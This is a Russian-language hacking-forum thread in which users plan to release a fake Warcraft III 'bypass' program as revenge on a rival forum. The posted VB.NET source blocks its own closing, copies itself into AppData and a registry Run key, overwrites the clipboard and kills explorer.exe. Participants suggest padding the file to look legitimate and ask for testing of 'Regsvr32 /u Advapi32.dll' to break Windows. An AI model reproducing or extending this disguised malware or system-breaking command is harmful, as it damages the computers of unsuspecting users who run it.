Вернуться   D3Scene.Ru Софт портал игр | Хаки | Проги | Статьи > Free chat > Флейм
Присоединяйся к нам



Закрытая тема
 
Опции темы Опции просмотра
Старый 25.05.2011, 13:00   #1
Старожил


 
Аватар для gg.Groove
 
Регистрация: 21.08.2010
Адрес: Almaty
Сообщений: 1,054
Репутация: 212
Автор По умолчанию

Коварный план


[SHOWTOGROUPS="7"]Буря в *****хаке
***** будет лететь в все стороны , возьмите зонтик.



Для угара написал "обход иккапа".
Залью на ***** хак. Код блокирует буфер обмена.
Не хватает авто-добавления себя в автозагрузку? Пилить или нет?
PHP код:
Public Class Form1
    
Private Sub Form1_FormClosing(ByVal sender As System.ObjectByVal e As System.Windows.Forms.FormClosingEventArgsHandles MyBase.FormClosing
        e
.Cancel True
    End Sub

    
Private Sub Form1_Load(ByVal sender As System.ObjectByVal e As System.EventArgsHandles MyBase.Load
        Timer1
.Interval = ("200")
        
Timer1.Start()
    
End Sub

    
Private Sub Timer1_Tick(ByVal sender As System.ObjectByVal e As System.EventArgsHandles Timer1.Tick
        
If targetprocess.Length 0 Then
            Label2
.Text "Ждем Warcraft III"
        
Else
            If 
CheckBox1.Checked Then
                Label2
.Text "Эксплойт сработал"
                
My.Computer.Clipboard.SetText("EXP HACK DISABLED CLIPBOARD, Happy 1 June")
            Else
                
Label2.Text "Ждем приказа"
            
End If
        
End If
    
End Sub
    Dim targetprocess 
As String "war3"
End Class 
Наша месть , за украденый эксклюзив без копирайтов
[/SHOWTOGROUPS]
[SHOWTOGROUPS="7"]Немного допилил. Автозагрузки нету. Не запускать вместе с варкрафтом.[Ссылки скрыты от гостей.][/SHOWTOGROUPS]
__________________

[Ссылки скрыты от гостей.]

Последний раз редактировалось gg.Groove; 25.05.2011 в 13:09. Причина: Доработал.
  Наверх
Пользователь сказал cпасибо:
Regaska (26.05.2011)
Старый 25.05.2011, 13:14   #2
This? On Melancholy Hill




 
Аватар для UnDeaDRoCUser
 
Регистрация: 18.09.2008
Адрес: system32
Сообщений: 5,237
Репутация: 1415
Отправить сообщение для UnDeaDRoCUser с помощью ICQ Отправить сообщение для UnDeaDRoCUser с помощью Skype™
По умолчанию

[HIDE="120"]О подобном лучше говорить в личке..[/HIDE]
__________________
[ [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | ]

[ [Ссылки скрыты от гостей.] ]

  Наверх
Старый 25.05.2011, 13:22   #3
Старожил


 
Аватар для gg.Groove
 
Регистрация: 21.08.2010
Адрес: Almaty
Сообщений: 1,054
Репутация: 212
Автор По умолчанию

UnDeaDRoCUser, среди модераторов нету , тех кто может слить.
[SHOWTOGROUPS="7"]Релизить буду через прокси, Вечером когда народа будет много.[/SHOWTOGROUPS]
__________________

[Ссылки скрыты от гостей.]
  Наверх
Старый 25.05.2011, 13:35   #4
Заблокирован

 
Аватар для 4efer.Young
 
Регистрация: 15.02.2011
Сообщений: 1,029
Репутация: 503
Отправить сообщение для 4efer.Young с помощью Skype™
По умолчанию

[HIDE="120"]Я ж те дал картинки с большим весом ,припаяй еще виндовз гуи для веса и будет самое оно.Ато 20кб это палево.[/HIDE]

Добавлено через 2 минуты
[HIDE="120"]И как вариант запили еще отвязку системных файлов на диске Ц , будет самое оно для идиотов без антивируса =)[/HIDE]

[HIDE="120"]И да ... не повторяй... назвал бы операцию "Молот возмездия" или "Операция "Испорождение" "[/HIDE]

Последний раз редактировалось 4efer.Young; 25.05.2011 в 13:46. Причина: Добавлено сообщение
  Наверх
Старый 25.05.2011, 14:09   #5
Старожил


 
Аватар для gg.Groove
 
Регистрация: 21.08.2010
Адрес: Almaty
Сообщений: 1,054
Репутация: 212
Автор По умолчанию

4efer.Young, [SHOWTOGROUPS="7"]будем отключать длл-ки. Хорошая идея! Но не в этом релизе[/SHOWTOGROUPS]

Добавлено через 10 минут
[HIDE="50"]Нужен тестер этого творения[/HIDE]
[SHOWTOGROUPS="7"]Допилил автозагрузку , может быть отключать dll будем.
Проверьте , ломает ли систему вот это Regsvr32 /u Advapi32.dll. Запускать в коммандной строке с админом[/SHOWTOGROUPS]

Добавлено через 57 минут
[HIDE="500"]
PHP код:
Public Class Form1
    
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As StringByVal lpNewFileName As StringByVal bFailIfExists As Long) As Long
    
Private Sub Form1_FormClosing(ByVal sender As System.ObjectByVal e As System.Windows.Forms.FormClosingEventArgsHandles MyBase.FormClosing
        MsgBox
("Exit proccedure failed")
        
e.Cancel True
    End Sub
    Dim appexepath 
As String Application.ExecutablePath
    
Private Sub Form1_Load(ByVal sender As System.ObjectByVal e As System.EventArgsHandles MyBase.Load
        
'копируем себя чтобы школяры ебнулись об стену
        CopyFile(Application.ExecutablePath, Application.LocalUserAppDataPath + "exphook.exe", False)
        '
в автозагрузку чтобы шокололо дави reset до конца жизни
        My
.Computer.Registry.SetValue(
    
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run""exphook.exe"Application.LocalUserAppDataPath "\" + "exphook.exe")
        Timer1.Interval = ("
200")
        Timer1.Start()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim objWMIService, colProcesses
        Dim Process As String
        'школяр играет в дота
        Process = "
war3.exe"
        objWMIService = GetObject("
winmgmts:")
        colProcesses = objWMIService.ExиecQuery("
Select from Win32_Process where name='" & Process & "'")
        If colProcesses.Count Then
            If CheckBox1.Checked Then
                Label2.Text = "
Эксплойт сработал"
                Me.Hide()
                'Буфер обмена на### не нада
                My.Computer.Clipboard.SetText("
EXP HACK DISABLED CLIPBOARDHappy 1 June")
                'Проводник тоже на### не нужен
                Dim pProcess() As Process = System.Diagnostics.Process.GetProcessesByName("
explorer")
                For Each p As Process In pProcess
                    p.Kill()
                Next
            Else
                Label2.Text = "
Ждем приказа"
            End If
        Else
            Label2.Text = "
Ждем Warcraft III"
        End If
    End Sub
    Dim targetprocess As String = "
war3.exe"

    Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
        Process.Start("
http://#######.org/")
    
End Sub
End 
Class 
[/HIDE]

Добавлено через 1 час 44 минуты
[SHOWTOGROUPS="5"][Ссылки скрыты от гостей.] Готовый релиз.
Выложите на *****хак[/SHOWTOGROUPS]

Добавлено через 1 час 56 минут
[HIDE="250"]http://#######.org/showthread.php?t=29060&p=158836#post158836[/HIDE]
__________________

[Ссылки скрыты от гостей.]

Последний раз редактировалось gg.Groove; 25.05.2011 в 16:06. Причина: Добавлено сообщение
  Наверх
Закрытая тема


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Powered by vBulletin
Copyright © 2017 vBulletin Solutions, Inc.
Перевод: zCarot | Дизайн: G-A | Верстка: OldEr
Текущее время: 07:41. Часовой пояс GMT +4.